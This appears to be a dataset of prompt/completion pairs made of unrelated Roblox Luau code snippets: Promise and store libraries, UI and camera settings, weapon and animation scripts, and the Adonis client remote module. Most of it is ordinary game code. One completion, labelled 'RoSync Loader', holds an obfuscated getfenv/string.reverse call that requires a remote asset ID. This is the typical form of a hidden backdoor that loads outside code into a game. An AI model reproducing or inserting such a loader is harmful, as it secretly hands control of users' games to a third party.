prompt
stringlengths 2
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stringlengths 1
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|
---|---|
--
|
script.Parent.Handle3.Hinge1.Transparency = 0
script.Parent.Handle3.Interactive1.Transparency = 0
script.Parent.Handle3.Part1.Transparency = 0
wait(0.03)
wait(0.2)
script.Parent.Handle1.Hinge1.Transparency = 1
script.Parent.Handle1.Interactive1.Transparency = 1
script.Parent.Handle1.Part1.Transparency = 1
|
--------AUDIENCE BACK RIGHT--------
|
game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(1023)
|
-- general size of GUI objects, in pixels
|
local GUI_SIZE = 16
|
-- declarations
|
local head = script.Parent
function onTouched(part)
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end
part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c84892c " end
end
script.Parent.Touched:connect(onTouched)
|
--// Aim|Zoom|Sensitivity Customization
|
ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween
AimZoom = 50; -- Default zoom
AimSpeed = 0.45;
UnaimSpeed = 0.35;
CycleAimZoom = 4; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
----- SCRIPT: -----
|
BuyCasesEvents.Case0.OnServerEvent:Connect(function(player, PricePoints, PriceGems, PointsBuy)
if PointsBuy == true then
if player.DataFolder.Points.Value >= PricePoints then
player.DataFolder.Points.Value -= PricePoints
print(PricePoints)
--Transaction Completed
player.Inventory.AdminCase.Value += 1 --Choose the case
else
MessagesEvents.NotEnoughPoints:FireClient(player)
end
elseif PointsBuy == false then
if player.DataFolder.Gems.Value >= PriceGems then
player.DataFolder.Gems.Value -= PriceGems
print(PriceGems)
--Transaction Completed
player.Inventory.AdminCase.Value += 1 --Case
else
MessagesEvents.NotEnoughPoints:FireClient(player)
end
end
end)
|
--[=[
@type ServerMiddlewareFn (player: Player, args: {any}) -> (shouldContinue: boolean, ...: any)
@within KnitServer
For more info, see [ServerComm](https://sleitnick.github.io/RbxUtil/api/ServerComm/) documentation.
]=]
|
type ServerMiddlewareFn = (player: Player, args: { any }) -> (boolean, ...any)
|
--[[
Create a new Store whose state is transformed by the given reducer function.
Each time an action is dispatched to the store, the new state of the store
is given by:
state = reducer(state, action)
Reducers do not mutate the state object, so the original state is still
valid.
]]
|
function Store.new(reducer, initialState, middlewares)
assert(typeof(reducer) == "function", "Bad argument #1 to Store.new, expected function.")
assert(middlewares == nil or typeof(middlewares) == "table", "Bad argument #3 to Store.new, expected nil or table.")
local self = {}
self._reducer = reducer
self._state = reducer(initialState, {
type = "@@INIT",
})
self._lastState = self._state
self._mutatedSinceFlush = false
self._connections = {}
self.changed = Signal.new()
setmetatable(self, Store)
local connection = self._flushEvent:Connect(function()
self:flush()
end)
table.insert(self._connections, connection)
if middlewares then
local unboundDispatch = self.dispatch
local dispatch = function(...)
return unboundDispatch(self, ...)
end
for i = #middlewares, 1, -1 do
local middleware = middlewares[i]
dispatch = middleware(dispatch, self)
end
self.dispatch = function(self, ...)
return dispatch(...)
end
end
return self
end
|
--[[ Last synced 11/11/2020 02:21 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Backwards compatibility
|
Promise.prototype.awaitValue = Promise.prototype.expect
|
--[[**
ensures value is a given literal value
@param literal The literal to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.literal(...)
local size = select("#", ...)
if size == 1 then
local literal = ...
return function(value)
if value ~= literal then
return false, string.format("expected %s, got %s", tostring(literal), tostring(value))
end
return true
end
else
local literals = {}
for i = 1, size do
local value = select(i, ...)
literals[i] = t.literal(value)
end
return t.union(table.unpack(literals, 1, size))
end
end
|
--while true do
|
--local point=Vector3.new(math.random(-256,256),torso.Position.y,math.random(-256,256));
--MoveTo(point,true);
--wait(math.random(3,5))
|
--[=[
@within TableUtil
@function EncodeJSON
@param value any
@return string
Proxy for [`HttpService:JSONEncode`](https://developer.roblox.com/en-us/api-reference/function/HttpService/JSONEncode).
]=]
|
local function EncodeJSON(value: any): string
return HttpService:JSONEncode(value)
end
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Animations = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
Rate = (1 / 60)
ToolEquipped = false
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
ToolEquipped = true
if not CheckIfAlive() then
return
end
spawn(function()
PlayerMouse = Mouse
Mouse.Button1Down:connect(function()
InvokeServer("Button1Click", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("Button1Click", {Down = false})
end)
end)
end
function Unequipped()
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
Animations = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
local ServerReturn = nil
pcall(function()
ServerReturn = ServerControl:InvokeServer(mode, value)
end)
return ServerReturn
end
function OnClientInvoke(mode, value)
if mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MousePosition" then
return ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[[
Defers and orders UI data binding updates.
]]
|
local RunService = game:GetService("RunService")
local Package = script.Parent.Parent
local None = require(Package.Utility.None)
type Set<T> = {[T]: any}
local Scheduler = {}
local willUpdate = false
local propertyChanges: {[Instance]: {[string]: any}} = {}
local callbacks: Set<() -> ()> = {}
|
--[[
Iterates serially over the given an array of values, calling the predicate callback on each before continuing.
If the predicate returns a Promise, we wait for that Promise to resolve before continuing to the next item
in the array. If the Promise the predicate returns rejects, the Promise from Promise.each is also rejected with
the same value.
Returns a Promise containing an array of the return values from the predicate for each item in the original list.
]]
|
function Promise.each(list, predicate)
assert(type(list) == "table", string.format(ERROR_NON_LIST, "Promise.each"))
assert(type(predicate) == "function", string.format(ERROR_NON_FUNCTION, "Promise.each"))
return Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel)
local results = {}
local promisesToCancel = {}
local cancelled = false
local function cancel()
for _, promiseToCancel in ipairs(promisesToCancel) do
promiseToCancel:cancel()
end
end
onCancel(function()
cancelled = true
cancel()
end)
-- We need to preprocess the list of values and look for Promises.
-- If we find some, we must register our andThen calls now, so that those Promises have a consumer
-- from us registered. If we don't do this, those Promises might get cancelled by something else
-- before we get to them in the series because it's not possible to tell that we plan to use it
-- unless we indicate it here.
local preprocessedList = {}
for index, value in ipairs(list) do
if Promise.is(value) then
if value:getStatus() == Promise.Status.Cancelled then
cancel()
return reject(Error.new({
error = "Promise is cancelled",
kind = Error.Kind.AlreadyCancelled,
context = string.format(
"The Promise that was part of the array at index %d passed into Promise.each was already cancelled when Promise.each began.\n\nThat Promise was created at:\n\n%s",
index,
value._source
),
}))
elseif value:getStatus() == Promise.Status.Rejected then
cancel()
return reject(select(2, value:await()))
end
-- Chain a new Promise from this one so we only cancel ours
local ourPromise = value:andThen(function(...)
return ...
end)
table.insert(promisesToCancel, ourPromise)
preprocessedList[index] = ourPromise
else
preprocessedList[index] = value
end
end
for index, value in ipairs(preprocessedList) do
if Promise.is(value) then
local success
success, value = value:await()
if not success then
cancel()
return reject(value)
end
end
if cancelled then
return
end
local predicatePromise = Promise.resolve(predicate(value, index))
table.insert(promisesToCancel, predicatePromise)
local success, result = predicatePromise:await()
if not success then
cancel()
return reject(result)
end
results[index] = result
end
resolve(results)
end)
end
|
-- EVENTS
|
SLING.Parent.ChildAdded:connect(function(newChild)
print("Child Added")
if newChild.Name:lower() == WEP_NAME:lower() then
for i, v in pairs(SLING:GetChildren()) do
if v.Name == "GLOCK" then
if v:FindFirstChild("Decal") then
for _, decal in pairs(v:GetChildren()) do
if decal:IsA("Decal") then
decal.Transparency = 1
end
end
end
v.Transparency = 1
end
end
end
end)
SLING.Parent.ChildRemoved:connect(function(oldChild)
print("Child Removed")
if oldChild.Name:lower() == WEP_NAME:lower() then
for i, v in pairs(SLING:GetChildren()) do
if v.Name == "GLOCK" then
if v:FindFirstChild("Decal") then
for _, decal in pairs(v:GetChildren()) do
if decal:IsA("Decal") then
decal.Transparency = 0
end
end
end
v.Transparency = 0
end
end
end
end)
|
-- Use the script's attributes as the default settings.
-- The table provided is a fallback if the attributes
-- are undefined or using the wrong value types.
|
local DEFAULT_SETTINGS = Settings.new(script, {
WindDirection = Vector3.new(0.5, 0, 0.5),
WindSpeed = 20,
WindPower = 0.5,
})
|
-- Bonus points: If you're going to be slinging a ton of bullets in a short period of time, you may see it fit to use PartCache.
-- https://devforum.roblox.com/t/partcache-for-all-your-quick-part-creation-needs/246641
| |
-- Initialize module
|
local BoundingBoxModule = {};
|
-- note: maybe use playfab to capture errors
|
ClientOrchestration.registerClientComponents = function(config)
if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then
ClientOrchestration._warn("Attempted to orchestrate an older scene on the client: " .. config.name)
return
end
if config.orchestrationTime == ClientOrchestration.lastCalledOrchestrationTime then
ClientOrchestration._warn(
"Attempted to orchestrate a scene with same tick time. Double check that you're not loading a scene 2x"
)
ClientOrchestration._warn(config.name)
return
end
if config.schema.Client == nil then
ClientOrchestration._warn(
"No schema Client file provided on the client for scene: " .. config.name .. ". Is this intended?"
)
return
end
ClientOrchestration.isSeekable = false
ClientOrchestration.lastCalledOrchestrationTime = config.orchestrationTime
ClientOrchestration.cleanUp()
local schema = ClientOrchestration._require(config.schema.Client)
local SchemaProcessor = ClientOrchestration._require(config.schemaProcessor)
ClientOrchestration.SchemaProcessorInstance = SchemaProcessor.new(schema, config.timePosition)
-- Run setup before processing
local setupSuccess = ClientOrchestration.setupSchema()
if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then
ClientOrchestration._warn("No longer processing outdated scene: " .. config.name)
return
end
if setupSuccess then
ClientOrchestration.processSchema()
end
if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then
ClientOrchestration._warn("No longer processing outdated scene: " .. config.name)
return
end
local name = config.name or "Default"
-- If the player has seek permissions, then update the seek UI
ClientOrchestration.ClientSceneMetadataEvent:Fire(
"Pass",
name,
ClientOrchestration.SchemaProcessorInstance.timePosition,
config.timeLength
)
if ClientOrchestration.ClientSceneMetadataRequestConnection then
ClientOrchestration.ClientSceneMetadataRequestConnection:Disconnect()
end
ClientOrchestration.ClientSceneMetadataRequestConnection =
ClientOrchestration.ClientSceneMetadataEvent.Event:Connect(
function(Type)
if Type == "Request" then
ClientOrchestration.ClientSceneMetadataEvent:Fire(
"Pass",
name,
ClientOrchestration.SchemaProcessorInstance.timePosition,
config.timeLength
)
end
end
)
end
ClientOrchestration.seek = function(timeToPlay)
local lastCalledOrchestrationTime = ClientOrchestration.lastCalledOrchestrationTime
while not ClientOrchestration.isSeekable do
local wasNewSceneCalled = lastCalledOrchestrationTime ~= ClientOrchestration.lastCalledOrchestrationTime
if wasNewSceneCalled then
ClientOrchestration._warn("New scene orchestrating, cancelling seek")
return
end
ClientOrchestration.taskLib.wait()
end
if ClientOrchestration.SchemaProcessorInstance == nil then
ClientOrchestration._warn("Schema Processor Instance hasn't been created on client")
return
end
ClientOrchestration.cleanUp()
-- This is in Process fires faster than setTime has replicated for the client
ClientOrchestration.SchemaProcessorInstance.timePosition.Value = timeToPlay
ClientOrchestration.processSchema(true)
end
ClientOrchestration.pause = function(isPaused: boolean)
if ClientOrchestration.SchemaProcessorInstance == nil then
ClientOrchestration._warn("Schema Processor Instance hasn't been created on client")
return
end
ClientOrchestration.SchemaProcessorInstance:SetPaused(isPaused)
end
local hasBeenCalled = false
return function(stubs)
if hasBeenCalled then
error("Client Orchestration has already been called")
return
end
-- Used for testing only
if stubs then
for i, v in pairs(stubs) do
ClientOrchestration[i] = v
end
end
ClientOrchestration.SendMediaControllerConfig.OnClientEvent:Connect(ClientOrchestration.registerClientComponents)
ClientOrchestration.SeekPermissionsEvent.OnClientEvent:Connect(ClientOrchestration.handleSeekPermissionsEvent)
ClientOrchestration.Seek.OnClientEvent:Connect(ClientOrchestration.seek)
ClientOrchestration.Pause.OnClientEvent:Connect(ClientOrchestration.pause)
ClientOrchestration.SceneEnded.OnClientEvent:Connect(ClientOrchestration.handleSceneEnded)
hasBeenCalled = true
return ClientOrchestration
end
|
-- events
|
REMOTES.RoundInfo.OnClientEvent:connect(function(info, ...)
if info == "Kills" then
MAP_GUI.KillsFrame.KillsLabel.Text = tostring(...)
elseif info == "Alive" then
MAP_GUI.PlayersFrame.PlayersLabel.Text = tostring(...)
elseif info == "Message" then
Display(...)
end
end)
|
--[[
TransparencyController - Manages transparency of player character at close camera-to-subject distances
2018 Camera Update - AllYourBlox
--]]
|
local MAX_TWEEN_RATE = 2.8 -- per second
local Util = require(script.Parent:WaitForChild("CameraUtils"))
|
---[[ Fade Out and In Settings ]]
|
module.ChatWindowBackgroundFadeOutTime = 3.5 --Chat background will fade out after this many seconds.
module.ChatWindowTextFadeOutTime = 30 --Chat text will fade out after this many seconds.
module.ChatDefaultFadeDuration = 0.8
module.ChatShouldFadeInFromNewInformation = false
module.ChatAnimationFPS = 20.0
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if currentAnimKeyframeHandler ~= nil then
currentAnimKeyframeHandler:Disconnect()
end
if currentAnimTrack ~= nil then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed: number)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName: string)
if frameName == "End" then
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
|
--[[Wheel Stabilizer Gyro]]
|
Tune.FGyroDamp = 10 -- Front Wheel Non-Axial Dampening
Tune.RGyroDamp = 100 -- Rear Wheel Non-Axial Dampening
|
--// Remote
|
return function()
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
pcall, xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, tick, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, elapsedTime, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
pcall, xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, tick, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, elapsedTime, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = service
local client = client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Remote = {
Init = Init;
Returns = {};
PendingReturns = {};
EncodeCache = {};
DecodeCache = {};
Received = 0;
Sent = 0;
Returnables = {
Test = function(args)
return "HELLO FROM THE CLIENT SIDE :)! ", unpack(args)
end;
Ping = function(args)
return Remote.Ping()
end;
ClientHooked = function(args)
return Core.Special
end;
TaskManager = function(args)
local action = args[1]
if action == "GetTasks" then
local tab = {}
for i,v in next,service.GetTasks() do
local new = {}
new.Status = v.Status
new.Name = v.Name
new.Index = v.Index
new.Created = v.Created
new.CurrentTime = os.time()
new.Function = tostring(v.Function)
table.insert(tab,new)
end
return tab
end
end;
LoadCode = function(args)
local code = args[1]
local func = Core.LoadCode(code, GetEnv())
if func then
return func()
end
end;
Function = function(args)
local func = client.Functions[args[1]]
if func and type(func) == "function" then
return func(unpack(args, 2))
end
end;
Handler = function(args)
local handler = client.Handlers[args[1]]
if handler and type(handler) == "function" then
return handler(unpack(args, 2))
end
end;
UIKeepAlive = function(args)
if Variables.UIKeepAlive then
for ind,g in next,client.GUIs do
if g.KeepAlive then
if g.Class == "ScreenGui" or g.Class == "GuiMain" then
g.Object.Parent = service.PlayerGui
elseif g.Class == "TextLabel" then
g.Object.Parent = UI.GetHolder()
end
g.KeepAlive = false
else
g.KeepAlive = false
end
end
end
return "Done"
end;
UI = function(args)
local guiName = args[1]
local themeData = args[2]
local guiData = args[3]
--Core.Theme = themeData
return UI.Make(guiName,guiData,themeData)
end;
InstanceList = function(args)
local objects = service.GetAdonisObjects()
local temp = {}
for i,v in next,objects do
table.insert(temp, {
Text = v:GetFullName();
Desc = v.ClassName;
})
end
return temp
end;
ClientLog = function(args)
local temp={}
local function toTab(str, desc, color)
for i,v in next,service.ExtractLines(str) do
table.insert(temp,{Text = v,Desc = desc..v, Color = color})
end
end
for i,v in next,service.LogService:GetLogHistory()do
if v.messageType==Enum.MessageType.MessageOutput then
toTab(v.message, "Output: ")
--table.insert(temp,{Text=v.message,Desc='Output: '..v.message})
elseif v.messageType==Enum.MessageType.MessageWarning then
toTab(v.message, "Warning: ", Color3.new(1,1,0))
--table.insert(temp,{Text=v.message,Desc='Warning: '..v.message,Color=Color3.new(1,1,0)})
elseif v.messageType==Enum.MessageType.MessageInfo then
toTab(v.message, "Info: ", Color3.new(0,0,1))
--table.insert(temp,{Text=v.message,Desc='Info: '..v.message,Color=Color3.new(0,0,1)})
elseif v.messageType==Enum.MessageType.MessageError then
toTab(v.message, "Error: ", Color3.new(1,0,0))
--table.insert(temp,{Text=v.message,Desc='Error: '..v.message,Color=Color3.new(1,0,0)})
end
end
return temp
end
};
UnEncrypted = {
LightingChange = function(prop,val)
print(prop,"TICKLE ME!?")
Variables.LightingChanged = true
service.Lighting[prop] = val
Anti.LastChanges.Lighting = prop
wait(.1)
Variables.LightingChanged = false
print("TICKLED :)",Variables.LightingChanged)
if Anti.LastChanges.Lighting == prop then
Anti.LastChanges.Lighting = nil
end
end
};
Commands = {
GetReturn = function(args)
local com = args[1]
local key = args[2]
local parms = {unpack(args,3)}
local retfunc = Remote.Returnables[com]
local retable = (retfunc and {pcall(retfunc,parms)}) or {}
if retable[1] ~= true then
logError(retable[2])
Remote.Send("GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2])
else
Remote.Send("GiveReturn", key, unpack(retable,2))
end
end;
GiveReturn = function(args)
if Remote.PendingReturns[args[1]] then
Remote.PendingReturns[args[1]] = nil
service.Events[args[1]]:fire(unpack(args,2))
end
end;
SetVariables = function(args)
local vars = args[1]
for var,val in next,vars do
Variables[var] = val
end
end;
Print = function(args)
print(unpack(args))
end;
FireEvent = function(args)
service.FireEvent(unpack(args))
end;
Test = function(args)
print("OK WE GOT COMMUNICATION! ORGL: "..tostring(args[1]))
end;
TestError = function(args)
error("THIS IS A TEST ERROR")
end;
TestEvent = function(args)
Remote.PlayerEvent(args[1],unpack(args,2))
end;
LoadCode = function(args)
local code = args[1]
local func = Core.LoadCode(code, GetEnv())
if func then
return func()
end
end;
LaunchAnti = function(args)
Anti.Launch(args[1],args[2])
end;
UI = function(args)
local guiName = args[1]
local themeData = args[2]
local guiData = args[3]
--Core.Theme = themeData
UI.Make(guiName,guiData,themeData)
end;
RemoveUI = function(args)
UI.Remove(args[1],args[2])
end;
StartLoop = function(args)
local name = args[1]
local delay = args[2]
local code = args[3]
local func = Core.LoadCode(code, GetEnv())
if name and delay and code and func then
service.StartLoop(name,delay,func)
end
end;
StopLoop = function(args)
service.StopLoop(args[1])
end;
Function = function(args)
local func = client.Functions[args[1]]
if func and type(func) == "function" then
Pcall(func,unpack(args,2))
end
end;
Handler = function(args)
local handler = client.Handlers[args[1]]
if handler and type(handler) == "function" then
Pcall(handler, unpack(args, 2))
end
end
};
Fire = function(...)
local RemoteEvent = Core.RemoteEvent
if RemoteEvent and RemoteEvent.Object then
Remote.Sent = Remote.Sent+1
RemoteEvent.Object:FireServer({Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received},...)
end
end;
Send = function(com,...)
Core.LastUpdate = tick()
Remote.Fire(Remote.Encrypt(com,Core.Key),...)
end;
Get = function(com,...)
local returns
local key = Functions:GetRandom()
local event = service.Events[key]:Connect(function(...) returns = {...} end)
Remote.PendingReturns[key] = true
Remote.Send("GetReturn",com,key,...)
if not returns then
returns = {event:Wait()}
end
event:Disconnect()
if returns then
if returns[1] == "__ADONIS_RETURN_ERROR" then
error(returns[2])
else
return unpack(returns)
end
else
return nil
end
end;
Ping = function()
local t = tick()
local ping = Remote.Get("Ping")
if not ping then return false end
local t2 = tick()
local mult = 10^3
local ms = ((math.floor((t2-t)*mult+0.5)/mult)*100)
return ms
end;
PlayerEvent = function(event,...)
Remote.Send("PlayerEvent",event,...)
end;
Encrypt = function(str, key, cache)
local cache = cache or Remote.EncodeCache or {}
if not key or not str then
return str
elseif cache[key] and cache[key][str] then
return cache[key][str]
else
local keyCache = cache[key] or {}
local byte = string.byte
local abs = math.abs
local sub = string.sub
local len = string.len
local char = string.char
local endStr = {}
for i = 1,len(str) do
local keyPos = (i%len(key))+1
endStr[i] = string.char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1)
end
endStr = table.concat(endStr)
cache[key] = keyCache
keyCache[str] = endStr
return endStr
end
end;
Decrypt = function(str, key, cache)
local cache = cache or Remote.DecodeCache or {}
if not key or not str then
return str
elseif cache[key] and cache[key][str] then
return cache[key][str]
else
local keyCache = cache[key] or {}
local byte = string.byte
local abs = math.abs
local sub = string.sub
local len = string.len
local char = string.char
local endStr = {}
for i = 1,len(str) do
local keyPos = (i%len(key))+1
endStr[i] = string.char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1)
end
endStr = table.concat(endStr)
cache[key] = keyCache
keyCache[str] = endStr
return endStr
end
end;
}
end
|
-- FIXME: After CLI-39007, change expected to have type string | RegExp type
-- ROBLOX deviation: toMatch accepts Lua string patterns or RegExp polyfill but not simple substring
|
local function toMatch(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: string,
expected: any
)
local matcherName = "toMatch"
local options: MatcherHintOptions = {
isNot = self.isNot,
promise = self.promise,
}
if typeof(received) ~= "string" then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format("%s value must be a string", RECEIVED_COLOR("received")),
printWithType("Received", received, printReceived)
)
)
)
end
if typeof(expected) ~= "string" and getType(expected) ~= "regexp" then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format("%s value must be a string or regular expression", EXPECTED_COLOR("expected")),
printWithType("Expected", expected, printExpected)
)
)
)
end
local pass
if typeof(expected) == "string" then
-- ROBLOX deviation: escape chalk sequences if necessary
expected = string.gsub(expected, string.char(27) .. "%[", string.char(27) .. "%%[")
pass = received:find(expected) ~= nil
else
pass = expected:test(received)
end
-- ROBLOX deviation: We print "expected pattern" in both cases because this function
-- treats strings as Lua patterns
local message
if pass then
message = function()
local retval = matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("Expected pattern: never %s\n", printExpected(expected))
if typeof(expected) == "string" then
retval = retval
.. string.format(
"Received string: %s",
printReceivedStringContainExpectedSubstring(received, received:find(expected), #expected)
)
else
retval = retval
.. string.format(
"Received string: %s",
printReceivedStringContainExpectedResult(received, expected:exec(received))
)
end
return retval
end
else
message = function()
local labelExpected = "Expected pattern"
local labelReceived = "Received string"
local printLabel = getLabelPrinter(labelExpected, labelReceived)
return matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("%s%s\n", printLabel(labelExpected), printExpected(expected))
.. string.format("%s%s", printLabel(labelReceived), printReceived(received))
end
end
return { message = message, pass = pass }
end
local function toMatchObject(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expected: any
)
local matcherName = "toMatchObject"
local options: MatcherHintOptions = {
isNot = self.isNot,
promise = self.promise,
}
if typeof(received) ~= "table" or received == nil then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format("%s value must be a non-nil object", RECEIVED_COLOR("received")),
printWithType("Received", received, printReceived)
)
)
)
end
if typeof(expected) ~= "table" or expected == nil then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format("%s value must be a non-nil object", EXPECTED_COLOR("expected")),
printWithType("Expected", expected, printExpected)
)
)
)
end
-- ROBLOX TODO: Revisit usage of subsetEquality
local pass = equals(received, expected, { iterableEquality, subsetEquality })
local message
if pass then
message = function()
local retval = matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("Expected: never %s", printExpected(expected))
if stringify(expected) ~= stringify(received) then
return retval .. string.format("\nReceived: %s", printReceived(received))
end
return retval
end
else
message = function()
return matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. printDiffOrStringify(
expected,
getObjectSubset(received, expected),
EXPECTED_LABEL,
RECEIVED_LABEL,
isExpand(self.expand)
)
end
end
return { message = message, pass = pass }
end
|
-- Visualizes an impact. This will not run if FastCast.VisualizeCasts is false.
|
function DbgVisualizeHit(atCF, color)
if FastCast.VisualizeCasts ~= true then return end
local adornment = Instance.new("SphereHandleAdornment")
adornment.Adornee = Workspace.Terrain
adornment.CFrame = atCF
adornment.Radius = 0.4
adornment.Transparency = 0.25
adornment.Color3 = color --(wasPierce == false) and Color3.new(0.2, 1, 0.5) or Color3.new(1, 0.2, 0.2)
adornment.Parent = GetFastCastVisualizationContainer()
return adornment
end
|
--print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
|
end
end
end
|
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------Signal class begin------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
--[[
A 'Signal' object identical to the internal RBXScriptSignal object in it's public API and semantics. This function
can be used to create "custom events" for user-made code.
API:
Method :connect( function handler )
Arguments: The function to connect to.
Returns: A new connection object which can be used to disconnect the connection
Description: Connects this signal to the function specified by |handler|. That is, when |fire( ... )| is called for
the signal the |handler| will be called with the arguments given to |fire( ... )|. Note, the functions
connected to a signal are called in NO PARTICULAR ORDER, so connecting one function after another does
NOT mean that the first will be called before the second as a result of a call to |fire|.
Method :disconnect()
Arguments: None
Returns: None
Description: Disconnects all of the functions connected to this signal.
Method :fire( ... )
Arguments: Any arguments are accepted
Returns: None
Description: Calls all of the currently connected functions with the given arguments.
Method :wait()
Arguments: None
Returns: The arguments given to fire
Description: This call blocks until
]]
|
function t.CreateSignal()
local this = {}
local mBindableEvent = Instance.new('BindableEvent')
local mAllCns = {} --all connection objects returned by mBindableEvent::connect
--main functions
function this:connect(func)
if self ~= this then error("connect must be called with `:`, not `.`", 2) end
if type(func) ~= 'function' then
error("Argument #1 of connect must be a function, got a "..type(func), 2)
end
local cn = mBindableEvent.Event:Connect(func)
mAllCns[cn] = true
local pubCn = {}
function pubCn:disconnect()
cn:Disconnect()
mAllCns[cn] = nil
end
pubCn.Disconnect = pubCn.disconnect
return pubCn
end
function this:disconnect()
if self ~= this then error("disconnect must be called with `:`, not `.`", 2) end
for cn, _ in pairs(mAllCns) do
cn:Disconnect()
mAllCns[cn] = nil
end
end
function this:wait()
if self ~= this then error("wait must be called with `:`, not `.`", 2) end
return mBindableEvent.Event:Wait()
end
function this:fire(...)
if self ~= this then error("fire must be called with `:`, not `.`", 2) end
mBindableEvent:Fire(...)
end
this.Connect = this.connect
this.Disconnect = this.disconnect
this.Wait = this.wait
this.Fire = this.fire
return this
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units --First unit is default
{
